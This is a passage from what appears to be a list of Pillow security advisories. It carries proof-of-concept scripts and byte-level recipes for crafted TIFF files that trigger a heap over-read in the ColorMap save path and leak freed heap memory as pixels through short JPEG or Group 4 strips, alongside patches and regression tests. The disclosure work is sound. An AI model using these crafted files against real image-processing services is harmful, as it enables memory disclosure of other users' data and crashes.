absolute directory containing `PIL`, not the `PIL` directory itself. The script does not install, download, build, patch, or submit anything. It checks selected key package files against the original installation's hashes and checks the loaded package/version; these checks are not a full installation attestation. Save the complete Python block below as `reproduce.py` and run: ```sh python3.11 -I -S -B reproduce.py \\ --package-path /absolute/path/to/reviewed/site-packages \\ --asan-runtime /absolute/path/to/reviewed/libclang_rt.asan_osx_dynamic.dylib ``` Both arguments are required. The runtime must be loaded at child startup, not by late `dlopen`. Each child resolves `__asan_init`, `__asan_address_is_poisoned`, and `__asan_region_is_poisoned` in its actual process symbol table **before importing Pillow or opening a fixture**. Merely setting `DYLD_INSERT_LIBRARIES` is not accepted as proof of ASAN availability. A missing symbol or package mismatch prevents the operation. Each of the three cases runs once in a separate child with a **30-second wall limit, 10-second hard CPU limit, core dumps disabled, and 1 MiB regular-file-size limit**. The parent supplies a clean allowlisted environment, isolated Python startup (`-I -S -B`), an empty temporary working directory, no stdin, and a 128 KiB combined pipe-output cap. Timeout/output-cap handling kills the child's process group. These limits are containment measures, not a security sandbox. No TIFF is written to disk. Temporary directories are removed; raw diagnostics are never forwarded or persisted. The compressed/base64 constants below are the **unchanged original benign TIFF fixtures**, with decompressed size and SHA-256 checks. There are no external fixture dependencies. The standalone script supplied with this description is byte-for-byte the same as this block. **Separate August 31, 2026 inline validation:** the exact embedded standalone script passed all three fixed cases: one ASan READ of 131,072 bytes crossing a 1,536-byte allocation and two passing controls. Child guards and limits passed, with no timeout. This is additional bounded evidence, separate from earlier runs; no new build, install, full historical chain or older-version integration replay was performed. ## Expected results from the standalone script Cases run in order: `colormap8`, `colormap_absent`, `colormap16`. Every printed line should have `guard_passed: true`, `within_limits: true`, and `expected_observation: true`. The first two require successful saves and the expected retained sample-depth/ColorMap fields. The last requires ASAN exit 86 **and** the specific READ/extent/stack signatures, not merely any crash. Only the two controls inspect encoded metadata; the unsafe case never exports an encoded TIFF. The parent exits 0 only if all three expectations match; 1 means a case did not match (including guard failure or a changed ASAN diagnostic), and 2 means parent setup failed. A failed guard, timeout, unrelated crash, or missing diagnostic is **inconclusive**, not evidence that the defect is absent. Do not bypass the ASAN guard to obtain an output TIFF. ## Complete standalone reproducer ```python import argparse import base64 import ctypes import hashlib import io import json import os from pathlib import Path import platform import resource import selectors import struct import subprocess import sys import tempfile import time import zlib FIXTURES = {'colormap8': [1684, 'fdb26d9135549ed44824901985086c5ee4f06515699ca3291e498c523935405c', 'eNrz9NRi4GBgYOBmYGBkYWAEssAYic3EyAymQaqYoWzWBgYGNigbhAWh6iexMTCIIomLIZkjDmUzAbEMkhoHIJsBiCYxjIJRMApGwSgY2QAAPu0DiA=='], 'colormap_absent': [137, 'bd54979624f3ffb713342e0458caff9e17c477f940cda2f0960feebfabbc9556', 'eNrz9NRi4GBgYOBiYGBkYWAEssAYic3EyAymBYCYGcpmbWBgYIOyQVgQqr4NiEWRxMWQzBGHspmBWAZJDQOEBgDj8wKm'], 'colormap16': [1685, '5f38e0ead90b97949fb0c98c63f9c68d00ba9181db6631ecb8927376dcc75f4d', 'eNrz9NRi4GBgYOBmYGBkYWAEssAYic3EyAymBYCYGcpmbWBgYIOyQVgQqn4SGwODKJK4GJI54lA2MxDLIKlxALJBgpMYRsEoGAWjYBSMZACsEwB78wOS']} PACKAGE_PINS = {'PIL/ImageFile.py': '983c4f35e0c51046d4c636998ec77000cd2da208870a03b205e104cd0b2df629', 'PIL/_version.py': 'fe7d75d4019326aca24ae57d4ab190cd62ba1225b175051119cd61cd87e42b1d', 'PIL/__init__.py': '7361b6ad3878589affe5956e4a4da24d71398b0891fd3a8c15e9362217b4ca01', 'PIL/features.py': '14f904863b416914aaa6480735876ec31885b7272ee0d8d92b010c5b1b5e98f5', 'PIL/TiffTags.py': '766dea350424b9a2caab3513be794689403c2b7222cd038006f69cff08edb45d', 'PIL/TiffImagePlugin.py': '440b2a3a80b280d18cda3fc70d9fd206e2fa44e9897c9550f70b51395047b273', 'PIL/_imaging.cpython-311-darwin.so': '6d09b1fb925779fff32b5b8a4c348a42c201d350d0e0fd8cdc00410b6779e596', 'PIL/Image.py': '04af3f2db7ffdd61e829fa7aa8f5481d394a0a4129a8fd8aa5b13908928fcd6d', 'PIL/.dylibs/libtiff.6.dylib': 'e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1', 'pillow-12.3.0.dist-info/WHEEL': 'de2586b77651a8bf1b7778c3609979713ebc901784a837fca80ed4969fc82e57', 'pillow-12.3.0.dist-info/METADATA': '8fc07146cab33ef7582361dab6eac596d340b03ec648f18217da7894f73838c8'} CASES = tuple(FIXTURES) WALL_SECONDS = 30 FILE_LIMIT = 1024 * 1024 PIPE_LIMIT = 128 * 1024 def limits(): resource.setrlimit(resource.RLIMIT_CORE, (0, 0)) resource.setrlimit(resource.RLIMIT_CPU, (10, 10)) resource.setrlimit(resource.RLIMIT_FSIZE, (FILE_LIMIT, FILE_LIMIT)) def fixture(case): size, expected_hash, encoded = FIXTURES[case] decoder = zlib.decompressobj() data = decoder.decompress(base64.b64decode(encoded, validate=True), size + 1) if (len(data) != size or not decoder.eof or decoder.unused_data or decoder.unconsumed_tail or hashlib.sha256(data).hexdigest() != expected_hash): raise ValueError(\"fixture integrity check failed\") return data def field(data, wanted): if len(data) < 8 or data[:4] not in (b\"II*\\0\", b\"MM\\0*\"): raise ValueError(\"not classic TIFF\") endian = \"<\" if data[:2] == b\"II\" else \">\" directory = struct.unpack_from(endian + \"I\", data, 4)[0] count = struct.unpack_from(endian + \"H\", data, directory)[0] if directory + 2 + count * 12 + 4 > len(data): raise ValueError(\"truncated directory\") for number in range(count): offset = directory + 2 + number * 12 tag, kind, length = struct.unpack_from(endian + \"HHI\", data, offset) if tag != wanted: continue size = {1: 1, 2: 1, 3: 2, 4: 4, 7: 1}[kind] * length start = offset + 8 if size <= 4 else struct.unpack_from(endian + \"I\", data, offset + 8)[0] if start + size > len(data): raise ValueError(\"truncated field\") return kind, length, data[start:start + size], endian return None def checked_image_module(package): if (sys.implementation.name != \"cpython\" or sys.version_info[:2] != (3, 11) or sys.platform != \"darwin\" or platform.machine() != \"arm64\"): raise RuntimeError(\"requires macOS ARM64 CPython 3.11\") for relative, expected in PACKAGE_PINS.items(): path = (package / relative).resolve(strict=True) if not path.is_relative_to(package) or hashlib.sha256(path.read_bytes()).hexdigest() != expected: raise RuntimeError(\"reviewed wheel file mismatch\") process_symbols = ctypes.CDLL(None) for symbol in (\"__asan_init\", \"__asan_address_is_poisoned\", \"__asan_region_is_poisoned\"): getattr(process_symbols, symbol) sys.path.insert(0, str(package)) from PIL import Image, features if (Image.__version__ != \"12.3.0\" or features.version(\"libtiff\") != \"4.7.1\" or Path(Image.__file__).resolve() != package / \"PIL/Image.py\" or Path(Image.core.__file__).resolve() != package / \"PIL/_imaging.cpython-311-darwin.so\"): raise RuntimeError(\"unexpected Pillow or libtiff\") return Image def emit(descriptor, message): os.write(descriptor, (json.dumps(message, sort_keys=True) + \"\\n\").encode(\"ascii\")) def child(case, package): descriptor = os.dup(1) with open(os.devnull, \"wb\") as quiet: os.dup2(quiet.fileno(), 1) try: image_module = checked_image_module(package) data = fixture(case) with image_module.open(io.BytesIO(data)) as image: image.load() if image.size != (1, 1) or image.info.get(\"compression\") != \"packbits\": raise ValueError(\"unexpected input geometry\") bits = 8 if case == \"colormap8\" else 16 if image.tag_v2[258] != (bits,): raise ValueError(\"unexpected sample width\") if case == \"colormap_absent\": if 320 in image.tag_v2: raise ValueError(\"unexpected ColorMap\") elif image.tag_v2[320] != (0,) * 768: raise ValueError(\"unexpected ColorMap planes\") emit(descriptor, {\"ready\": True}) with io.BytesIO() as output: image.save(output, format=\"TIFF\") if case == \"colormap16\": emit(descriptor, {\"unsafe_save_returned\": True}) return 1 encoded = output.getvalue() saved_bits = field(encoded, 258) map_field = field(encoded, 320) bits_preserved = (saved_bits is not None and saved_bits[:2] == (3, 1) and struct.unpack(saved_bits[3] + \"H\", saved_bits[2])[0] == bits) map_preserved = (map_field is None if case == \"colormap_absent\" else map_field is not None and map_field[:2] == (3, 768) and map_field[2] == bytes(1536)) emit(descriptor, {\"control_passed\": bool(bits_preserved and map_preserved)}) return 0 except Exception: emit(descriptor, {\"child_failed\": True}) return 2 finally: os.close(descriptor) def run_case(case, package, runtime): with tempfile.TemporaryDirectory(prefix=\"pillow-check-\") as temporary: environment = { \"PATH\": \"/usr/bin:/bin:/usr/sbin:/sbin\", \"HOME\": temporary, \"TMPDIR\": temporary, \"LC_ALL\": \"C\", \"DYLD_INSERT_LIBRARIES\": str(runtime), \"ASAN_OPTIONS\": \"detect_leaks=0:halt_on_error=1:abort_on_error=0:exitcode=86:\" \"disable_coredump=1:symbolize=1:malloc_fill_byte=165:\" \"max_malloc_fill_size=1048576:log_path=stderr\", } command = [sys.executable, \"-I\", \"-S\", \"-B\", str(Path(__file__).resolve()), \"--package-path\", str(package), \"--asan-runtime\", str(runtime), \"--child\", case] output = bytearray() diagnostics = bytearray() deadline = time.monotonic() + WALL_SECONDS with subprocess.Popen(command, cwd=temporary, env=environment, stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.PIPE, preexec_fn=limits, start_new_session=True) as process: bounded = True try: with selectors.DefaultSelector() as selector: selector.register(process.stdout, selectors.EVENT_READ, output) selector.register(process.stderr, selectors.EVENT_READ, diagnostics) while selector.get_map(): remaining = deadline - time.monotonic() if remaining <= 0: raise TimeoutError for key, events in selector.select(min(remaining, 0.25)): chunk = os.read(key.fileobj.fileno(), 8192) if not chunk: selector.unregister(key.fileobj) else: key.data.extend(chunk) if len(output) + len(diagnostics) > PIPE_LIMIT: raise BufferError process.wait(timeout=max(0.001, deadline - time.monotonic())) except (TimeoutError, BufferError, subprocess.TimeoutExpired): bounded = False try: os.killpg(process.pid, 9) except ProcessLookupError: pass process.wait() status = process.returncode try: messages = [json.loads(line) for line in output.splitlines()] except (ValueError, UnicodeError): messages = [] ready = bool(messages and messages[0] == {\"ready\": True}) if case == \"colormap16\": observed = bool(bounded and ready and status == 86 and len(messages) == 1 and b\"AddressSanitizer: heap-buffer-overflow\" in diagnostics and b\"READ of size 131072\" in diagnostics and b\"0 bytes after 1536-byte region\" in diagnostics and b\"PyImaging_LibTiffEncoderNew\" in diagnostics and b\"_TIFFmemcpy\" in diagnostics) else: observed = bool(bounded and ready and status == 0 and messages == [{\"ready\": True}, {\"control_passed\": True}] and b\"AddressSanitizer:\" not in diagnostics) output.clear() diagnostics.clear() return {\"case\": case, \"expected_observation\": observed, \"guard_passed\": ready, \"within_limits\": bounded} def main(): parser = argparse.ArgumentParser(description='Fixed ColorMap extent mismatch: controls first, ASAN-only trigger.') parser.add_argument(\"--package-path\", required=True, type=Path, help=\"reviewed existing installation root containing PIL\") parser.add_argument(\"--asan-runtime\", required=True, type=Path, help=\"reviewed existing compatible ASAN dylib; never loaded late\") parser.add_argument(\"--child\", choices=CASES, help=argparse.SUPPRESS) arguments = parser.parse_args() if arguments.child: limits() return child(arguments.child, arguments.package_path.resolve()) try: package = arguments.package_path.resolve(strict=True) runtime = arguments.asan_runtime.resolve(strict=True) if not package.is_dir() or not runtime.is_file(): raise ValueError(\"invalid existing paths\") for case in CASES: fixture(case) results = [run_case(case, package, runtime) for case in CASES] except Exception: print(json.dumps({\"setup_failed\": True})) return 2 for result in results: print(json.dumps(result, sort_keys=True)) return 0 if all(result[\"expected_observation\"] for result in results) else 1 if __name__ == \"__main__\": raise SystemExit(main()) ```"}, {"id": "CVE-2026-112897", "fix_versions": ["13.0.0"], "aliases": ["GHSA-q45j-58j2-45rg"], "description": "``` ============================================================================ TiffDecode returns uninitialized memory as pixels for short JPEG strips Location: src/libImaging/TiffDecode.c:554 in _decodeStrip() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` Pillow hands back leftover process memory as image pixels when it opens a small crafted TIFF file. Anyone who can get an application to open their image, and can see something produced from its pixels (a thumbnail, a preview, a converted copy), can read heap memory that the process had previously used and freed. This works in the default configuration: opening and loading the 478-byte file succeeds with no error or warning, and every row below the first eight holds stale memory instead of picture content. The bug is in `_decodeStrip()` in `src/libImaging/TiffDecode.c`, and `_decodeTile()` has the same shape. The function `realloc()`s `state->buffer` to `TIFFStripSize()` bytes without initialising it and calls `TIFFReadEncodedStrip()`. Whenever that call does not return -1, it copies all `RowsPerStrip` rows of the buffer into the image. libtiff's JPEG codec only warns when the JPEG embedded in a strip has fewer rows than the strip, and Pillow silences libtiff warnings. The codec decodes the rows that exist and still returns the full strip size, so the untouched remainder is copied out as pixels. libtiff's Group 4 fax codec behaves the same way for a stream that ends early. The attached reproducer builds a 256\u00d7256 TIFF whose single strip or tile is a 256\u00d78 JPEG. Before loading it, the script frees buffers filled with `b\"LEAK\"`. It then finds 15,872 copies of `LEAK` in rows 8\u2013255 of the decoded image (the same freed chunk was reused in 500 of 500 runs). Under glibc's `MALLOC_PERTURB_`, those rows are entirely the allocator's fill byte. A well-formed control file decodes correctly in both cases. This is a read of uninitialised heap memory, not memory corruption. Each strip can disclose up to width \u00d7 `RowsPerStrip` bytes, and what comes back depends on the allocator's state at the time. The strip path was introduced in e91b851fdc1c (\"Add reading old-JPEG compressed TIFFs\", first released in Pillow 6.0.0). The tile path has had the same pattern since f0436a4ddc95 (Pillow 5.3.0). ## Details `src/libImaging/TiffDecode.c` decodes compressed TIFFs through libtiff into a strip (or tile) buffer that it `realloc()`s to `TIFFStripSize()` bytes and never initialises, and then copies all `RowsPerStrip` rows of that buffer into the image whenever `TIFFReadEncodedStrip()` does not return -1. libtiff's JPEG codec does not fail when the JPEG stream inside a strip has fewer rows than the strip: it decodes the rows that exist and returns the full strip size. The rows it did not write are whatever the heap held before, and Pillow returns them as pixels. A 478-byte file shows it: a classic little-endian TIFF, 256\u00d7256, `BitsPerSample=8`, `Compression=7`, `PhotometricInterpretation=1`, `RowsPerStrip=256`, one strip whose data is a baseline JPEG of 256\u00d7**8** pixels (as written by `Image.new(\"L\",(256,8),200).save(\u2026,\"JPEG\")`). `Image.open(BytesIO(data)).load()` succeeds with default settings (compressed TIFFs always take the libtiff path). Rows 0\u20137 of the result are the JPEG content (value 200); the remaining 63488 bytes of `im.tobytes()` are heap garbage: run under glibc's `MALLOC_PERTURB_=1` they are all `0xFE`, under `MALLOC_PERTURB_=170` all `0x55` (the fresh-`malloc` fill byte), and in a process that has just freed buffers containing `b\"LEAK\"` they contain 15872 copies of `LEAK`. Feeding the same file to libtiff 4.5.0 directly confirms the library side: `TIFFReadEncodedStrip(t, 0, buf, 65536)` prints `JPEGPreDecode: Warning, Improper JPEG strip/tile size, expected 256x256, got 256x8.`, returns 65536, and leaves 63488 of the 65536 buffer bytes untouched. Pillow installs `TIFFSetWarningHandler(NULL)` (`TiffDecode.c:682`), so the warning is not visible either. The strip path: ```c // src/libImaging/TiffDecode.c:552 /* realloc to fit whole strip */ /* malloc check above */ new_data = realloc(state->buffer, state->bytes); // state->bytes = TIFFStripSize() \u2026 state->buffer = new_data; for (; state->y < state->ysize; state->y += rows_per_strip) { \u2026 if (TIFFReadEncodedStrip( tiff, TIFFComputeStrip(tiff, state->y, plane), (tdata_t)state->buffer, strip_size ) == -1) { \u2026 return -1; } \u2026 // iterate over each row in the strip and stuff data into image for (strip_row = 0; strip_row < MIN((INT32)rows_per_strip, state->ysize - state->y); strip_row++) { \u2026 shuffler( (UINT8 *)im->image[state->y + state->yoff + strip_row] + state->xoff * im->pixelsize, state->buffer + strip_row * row_byte_size, state->xsize ); ``` `state->buffer` arrives here as the one-row `calloc` made by `decode.c:230` (`(bits*xsize+7)/8` = 256 bytes for the example). The `realloc` to 65536 bytes hands back a different, uninitialised chunk; nothing zeroes it. `TIFFReadEncodedStrip()` returns the nominal strip size on success, not the number of rows produced, and the only check is `== -1`, so the row loop unconditionally copies 256 rows \u00d7 256 bytes into `im->image` (which itself is zeroed by `core.new`, so the garbage provably comes from `state->buffer`). `_decodeTile()` has the same shape (`TiffDecode.c:448` `realloc` to `TIFFTileSize()`, then `tile_length` rows copied after each `TIFFReadTile()` at 460\u2013488). For a well-formed file the JPEG inside the strip is 256\u00d7256, libtiff fills all 65536 bytes and the copy is correct. The malicious file differs only in the SOF height of the embedded JPEG; libtiff treats \"JPEG smaller than strip\" as a warning, clamps the row count to the JPEG height, and reports success. JPEG is not the only libtiff codec that succeeds on a short strip. `Fax4Decode` (`Compression=4`) returns success for a T.6 stream that ends early: a 133-byte 512\u00d7256 1-bit TIFF whose strip is the Group 4 stream of a 512\u00d716 image loads without error, libtiff writes 17 rows (1088 bytes) of the 16384-byte buffer (`Fax4Decode: Warning, Premature EOL at line 16`, return value 16384) and the other 15296 bytes are again heap contents. LZW, Deflate, PackBits, Group 3 and CCITT RLE were checked and do return -1 on short data, so Pillow raises `OSError` for those. The strip path was introduced in `e91b851fdc1c` (\"Add reading old-JPEG compressed TIFFs\", 2018-12-08), first released in Pillow 6.0.0, which replaced row-by-row `TIFFReadScanline()` (where libtiff errors on the first missing row) with the whole-strip `realloc()` and copy. The tile path has had the same shape since it was added in `f0436a4ddc95` (2018-07-02, Pillow 5.3.0). ## Impact Any application that opens attacker-supplied images with Pillow in the default configuration and returns something derived from the pixels (thumbnail, preview, format conversion, OCR text) discloses freed heap memory of the worker process to the uploader: everything below the rows the embedded JPEG/G4 stream actually encodes, up to `ImageWidth \u00d7 RowsPerStrip \u00d7 SamplesPerPixel` bytes per strip and tens of MB per image within the default `MAX_IMAGE_PIXELS`. `load()` raises nothing, so the application has no signal that the image is malformed. What comes back depends on allocator state; in a long-running web worker it is typically recently freed request bodies, other users' decoded image buffers and Python object contents. There is no memory corruption; this is a read of uninitialised (previously used) heap memory, analogous in effect to an out-of-bounds read that lands in pixels. ## Reproducing `repro` is a short Python script that runs against the installed Pillow build with default settings: no rebuild, no sanitizer, no files written. It runs twice, once normally and once re-executing itself under glibc's `MALLOC_PERTURB_=170`, and the last line it prints is `BUG` or `OK`. **Input.** `tiff(jpeg_rows, tiled)` builds a little-endian TIFF in memory. The header declares a 256\u00d7256 8-bit greyscale image with `Compression=7` (JPEG), either as one strip (`RowsPerStrip=256`) or as one 256\u00d7256 tile (`TileWidth`/`TileLength`). The strip or tile is a baseline JPEG of 256\u00d7`jpeg_rows` pixels, all value 200, written by Pillow's own JPEG encoder. For each layout the script builds two files: - **Control:** `jpeg_rows=256`. This is a well-formed file, and libtiff fills the whole 64 KiB strip/tile. - **Crafted:** `jpeg_rows=8`, 478 bytes (strip) or 490 bytes (tile). The only difference is the embedded JPEG's height. libtiff decodes 8 rows (2048 bytes), warns `Improper JPEG strip/tile size` (Pillow silences the warning) and returns the full strip/tile size as success. **Steps.** Each file is opened (the script asserts it takes the `libtiff` decoder). Just before `im.load()` the script allocates and frees six 64 KiB `bytearray`s filled with `b\"LEAK\"`, which leaves freed heap chunks about the size of the buffer that `_decodeStrip()`/`_decodeTile()` is about to `realloc()`. For rows 8\u2013255 it then counts copies of `LEAK` and bytes equal to `0x55` (glibc's fresh-`malloc` fill under `MALLOC_PERTURB_=170`). The files contain no `LEAK` bytes (the script asserts this), so any copy in the image came from freed heap memory. It reports `BUG` if a crafted file shows any `LEAK` in the normal pass, or rows 8\u2013255 entirely `0x55` in the perturbed pass. **Expected output on this tree:** ``` [normal ] strip well-formed (1222 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8' [normal ] strip crafted ( 478 B) rows 8-255: 15872 x b'LEAK', 0/63488 == 0x55, head=b'LEAKLEAK' [normal ] tiled well-formed (1234 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8' [normal ] tiled crafted ( 490 B) rows 8-255: 15872 x b'LEAK', 0/63488 == 0x55, head=b'LEAKLEAK' [perturb] strip well-formed (1222 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8' [perturb] strip crafted ( 478 B) rows 8-255: 0 x b'LEAK', 63488/63488 == 0x55, head=b'UUUUUUUU' [perturb] tiled well-formed (1234 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8' [perturb] tiled crafted ( 490 B) rows 8-255: 0 x b'LEAK', 63488/63488 == 0x55, head=b'UUUUUUUU' BUG ``` `im.load()` succeeds for every file. For the crafted files rows 8\u2013255 are the uninitialised strip/tile buffer, copied as-is into the image. With the attached patch applied, rows 8\u2013255 of the crafted files come back as `\\x00` bytes, with no `LEAK` and no `0x55`, and the script ends with `OK`. The `LEAK` count depends on where glibc places the buffer (the same freed chunk was reused in 500 of 500 runs here); the `MALLOC_PERTURB_` pass does not. The script covers the JPEG codec only. The Group 4 variant in the Details section (`Compression=4`, a T.6 stream that ends early) goes through the same `_decodeStrip()` copy, and the same fix covers it. ## Suggested fix The attached patch zeroes `state->buffer` before each libtiff read in both loops of `src/libImaging/TiffDecode.c` \u2014 before `TIFFReadTile()` in `_decodeTile()` and before `TIFFReadEncodedStrip()` in `_decodeStrip()` \u2014 so rows a codec does not produce are deterministic zeros rather than stale heap: ```diff --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ _decodeTile for (x = state->xoff; x < state->xsize; x += tile_width) { + memset(state->buffer, 0, state->bytes); if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) == -1) { @@ _decodeStrip for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; + memset(state->buffer, 0, state->bytes); if (TIFFReadEncodedStrip( ``` A `memset` per strip/tile (rather than one `calloc` after the size is known) is needed because the same buffer is reused for every strip, and a short last strip would otherwise expose the previous strip's rows \u2014 harmless for disclosure, but the per-read `memset` keeps the behaviour uniform at the cost of one extra pass over the buffer. Promoting libtiff warnings to errors via a warning handler is not a good alternative: both codecs only warn (`Improper JPEG strip/tile size`, `Premature EOL`), but so do many legitimate files (unknown tags, bad tag counts), and the return value of `TIFFReadEncodedStrip()` carries no row count to check against. Initialising the buffer covers every codec. `_decodeAsRGBA()` needs no change: `TIFFRGBAImageGet()` fills its whole raster, and JPEG files do not reach it (`JPEGCOLORMODE_RGB` sends them down the strip path). Valid files decode exactly as before; rows a codec does not produce are now black instead of garbage, and nothing that previously loaded now fails. The patch also adds `test_jpeg_short_strip` to `Tests/test_file_libtiff.py`, parametrised over strip and tile, which builds the 256\u00d78-JPEG-in-256\u00d7256 file and asserts rows 8\u2013255 are zero. It is a regression guard for the fixed code rather than a reliable detector of the bug: in a fresh pytest process the unfixed strip variant can pass because the new heap chunk happens to be zero (the tiled variant fails before the fix). With the patch, `Tests/test_file_libtiff.py` and `Tests/test_file_tiff.py` pass and the reproducer prints `OK`. ## The patch Zero the libtiff strip/tile buffer before each TIFFReadEncodedStrip/TIFFReadTile in TiffDecode.c so short strips do not expose uninitialised heap Applies to `src/libImaging/TiffDecode.c` at the commit above. ```diff diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py index 3d804ea4a..67bc96329 100644 --- a/Tests/test_file_libtiff.py +++ b/Tests/test_file_libtiff.py @@ -1162,6 +1162,45 @@ class TestFileLibTiff(LibTiffTestCase): im.load() assert im.size == (950, 975) + @pytest.mark.parametrize(\"tiled\", (False, True)) + def test_jpeg_short_strip(self, tiled: bool) -> None: + # The JPEG data in the strip/tile only contains 8 of the 256 rows that + # RowsPerStrip/TileLength declare. libtiff decodes the rows that exist + # and still reports success, so the remaining rows must be cleared + # rather than left as uninitialised memory. + jpeg = io.BytesIO() + Image.new(\"L\", (256, 8), 200).save(jpeg, \"JPEG\") + jpeg_data = jpeg.getvalue() + + ifd = TiffImagePlugin.ImageFileDirectory_v2() + ifd[256] = 256 # ImageWidth + ifd[257] = 256 # ImageLength + ifd[258] = 8 # BitsPerSample + ifd[259] = 7 # Compression: JPEG + ifd[262] = 1 # PhotometricInterpretation: BlackIsZero + ifd[277] = 1 # SamplesPerPixel + if tiled: + ifd[322] = 256 # TileWidth + ifd[323] = 256 # TileLength + ifd[324] = 0 # TileOffsets + ifd[325] = len(jpeg_data) # TileByteCounts + # Point the tile data at the end of the IFD + ifd[324] = 8 + len(ifd.tobytes(8)) + else: + ifd[278] = 256 # RowsPerStrip + ifd[STRIPOFFSETS] = 0 # Updated by tobytes() to follow the IFD + ifd[279] = len(jpeg_data) # StripByteCounts + + b = io.BytesIO() + ifd.save(b) + b.write(jpeg_data) + + with Image.open(b) as im: + assert im.tile[0][0] == \"libtiff\" + im.load() + assert im.crop((0, 0, 256, 8)).getextrema() == (200, 200) + assert im.crop((0, 8, 256, 256)).getextrema() == (0, 0) + def test_orientation(self) -> None: with Image.open(\"Tests/images/g4_orientation_1.tif\") as base_im: for i in range(2, 9): diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c index 8a57c523d..d1d6bfbbb 100644 --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ -457,6 +457,11 @@ _decodeTile( for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; for (x = state->xoff; x < state->xsize; x += tile_width) { + // Some codecs (e.g. JPEG, Group 4) succeed on a tile that decodes + // to fewer rows than the tile length, leaving the rest of the + // buffer untouched. Clear it so that uninitialised memory is not + // copied into the image. + memset(state->buffer, 0, state->bytes); if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) == -1) { TRACE((\"Decode Error, Tile at %dx%d\\n\", x, y)); state->errcode = IMAGING_CODEC_BROKEN; @@ -563,6 +568,11 @@ _decodeStrip( int plane; for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; + // Some codecs (e.g. JPEG, Group 4) succeed on a strip that decodes + // to fewer rows than RowsPerStrip, leaving the rest of the buffer + // untouched. Clear it so that uninitialised memory is not copied + // into the image. + memset(state->buffer, 0, state->bytes); if (TIFFReadEncodedStrip( tiff, TIFFComputeStrip(tiff, state->y, plane), ``` ## The reproducer
Reproducer \u2014 repro, 2,688 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # Pillow TiffDecode.c _decodeStrip/_decodeTile: strip/tile buffer is realloc()ed, never # initialised, and copied whole into the image even when libtiff's JPEG codec decoded # fewer rows than RowsPerStrip/TileLength. Two independent signals: # pass 1 (normal heap): seed freed 64 KiB chunks with b\"LEAK\" just before load() and # count copies of LEAK in the decoded pixels (file contains no such bytes); # pass 2 (same script re-run under glibc MALLOC_PERTURB_=170): fresh malloc memory is # 0x55, so rows that come back all-0x55 are provably uninitialised heap. import gc, io, os, struct, subprocess, sys from PIL import Image W = H = 256; ROWS = 8 perturbed = os.environ.get(\"MALLOC_PERTURB_\") == \"170\" if not perturbed: print(\"Pillow\", Image.__version__, Image.core.__file__) def tiff(jpeg_rows, tiled): j = io.BytesIO(); Image.new(\"L\", (W, jpeg_rows), 200).save(j, \"JPEG\"); j = j.getvalue() tags = [(256,3,1,W), (257,3,1,H), (258,3,1,8), (259,3,1,7), (262,3,1,1), (277,3,1,1)] tags += ([(322,3,1,W), (323,3,1,H), (324,4,1,0), (325,4,1,len(j))] if tiled else [(273,4,1,0), (278,3,1,H), (279,4,1,len(j))]) tags.sort(); off = 8 + 2 + 12*len(tags) + 4 tags = [(t,ty,c, off if t in (273,324) else v) for t,ty,c,v in tags] ifd = struct.pack(\" 0 or (perturbed and n55 == len(below))): bug = True if not perturbed: r = subprocess.run([sys.executable, sys.argv[0]], env={**os.environ, \"MALLOC_PERTURB_\": \"170\"}, capture_output=True, text=True) lines = r.stdout.rstrip().split(\"\\n\") print(\"\\n\".join(lines[:-1])); sys.stderr.write(r.stderr) bug = bug or lines[-1] == \"BUG\" print(\"BUG\" if bug else \"OK\") ```
---"}, {"id": "CVE-2026-112395", "fix_versions": ["13.0.0"], "aliases": ["GHSA-462x-pgg6-55fp"], "description": "### Summary Pillow's libImaging `_decodeTile` decoder, used to decode tiled TIFF images, allocates a per-tile buffer using `realloc(state->buffer, TIFFTileSize(tiff))`. After each `TIFFReadTile` it then iterates `tile_y` from 0 up to `current_tile_length` and calls the configured row unpacker (here `copy4`) with the source pointer `state->buffer + tile_y * row_byte_size`. When libtiff returns a `tile_bytes_size` smaller than the worst-case `row_byte_size * tile_length`, the inner stride-and-copy loop walks past the realloc'd region and `copy4` performs a 1024-byte `memcpy` that reads up to `(tile_length-1) * row_byte_size + row_byte_size` bytes from a buffer sized only to `tile_bytes_size`. The supplied PoC TIFF triggers a 1024-byte over-read exactly 0 bytes past a 196608-byte allocation. An attacker who can convince a Pillow-using application to decode a crafted TIFF can trigger a process crash (DoS) and may cause adjacent heap memory to be copied into the decoded pixel buffer. ### Details Pillow's TIFF decoder, when libtiff reports the file is tiled, takes the `_decodeTile` path. The function: 1. Asks libtiff for `TIFFTileSize(tiff)` (the bytes-per-tile) and `TIFFTileRowSize(tiff)` (the bytes per row *as stored by libtiff*). 2. Reallocates `state->buffer` to exactly `tile_bytes_size`. 3. For each tile origin `(x, y)` and each plane, calls `TIFFReadTile` into `state->buffer`, then walks the tile row by row, calling the configured `ImagingShuffler` (here `copy4`) on each row's worth of source bytes. The validation done before the loop is: ```c if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) { state->errcode = IMAGING_CODEC_BROKEN; return -1; } ``` This rejects oversized libtiff tiles, but it does **not** reject *undersized* ones \u2014 i.e. the case where libtiff returns a `tile_bytes_size` strictly **less** than 